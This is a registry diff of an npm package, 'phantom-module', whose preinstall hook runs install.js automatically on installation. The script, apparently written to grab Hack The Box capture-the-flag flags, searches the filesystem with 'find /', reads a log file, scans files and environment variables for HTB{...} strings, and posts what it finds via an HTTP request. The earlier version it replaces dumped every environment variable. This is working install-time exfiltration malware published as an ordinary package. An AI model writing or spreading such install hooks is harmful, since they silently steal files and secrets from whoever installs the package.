phantom-module 111.0.3 → 111.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +35 -18
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,32 +1,49 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  (function() {
5
6
  let output = "";
6
7
 
7
- // 1. Get ALL Environment Variables
8
- output += "ENV: " + JSON.stringify(process.env) + " | ";
8
+ // 1. Try to read the module log directly!
9
+ try {
10
+ let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
11
+ let match = logContent.match(/HTB{[^}]+}/);
12
+ if (match) {
13
+ output += "FLAG_IN_LOG: " + match[0] + " | ";
14
+ }
15
+ } catch(e) {}
9
16
 
10
- // 2. Check common Windows / local paths
11
- const paths = [
12
- 'flag.txt',
13
- '../flag.txt',
14
- '../../flag.txt',
15
- 'C:\\flag.txt',
16
- 'C:\\Users\\Administrator\\Desktop\\flag.txt',
17
- 'C:\\Users\\Public\\flag.txt'
18
- ];
19
-
20
- for (let p of paths) {
21
- try {
22
- if (fs.existsSync(p)) {
23
- output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
17
+ // 2. Try to find any file with flag in the name
18
+ try {
19
+ let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
20
+ for (let f of files) {
21
+ if (f) {
22
+ try {
23
+ let content = fs.readFileSync(f, 'utf8').trim();
24
+ if (content.includes('HTB{')) {
25
+ output += `FOUND_IN_FILE ${f}: ` + content + " | ";
26
+ }
27
+ } catch(e) {}
24
28
  }
25
- } catch(e) {}
29
+ }
30
+ } catch (e) {}
31
+
32
+ // 3. Fallback: dump env for HTB{
33
+ try {
34
+ let envStr = JSON.stringify(process.env);
35
+ let match = envStr.match(/HTB{[^}]+}/);
36
+ if (match) {
37
+ output += "FOUND_IN_ENV: " + match[0] + " | ";
38
+ }
39
+ } catch(e) {}
40
+
41
+ if (!output) {
42
+ output = "Could not find HTB{...}.";
26
43
  }
27
44
 
28
45
  const postData = JSON.stringify({
29
- manifest: `ecto_module:\n name: "FLAG_WINDOWS"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
46
+ manifest: `ecto_module:\n name: "FLAG_LINUX"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
30
47
  });
31
48
 
32
49
  const req = http.request({
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.3",
3
+ "version": "111.0.5",
4
4
  "scripts": {
5
5
  "preinstall": "node install.js || true"
6
6
  }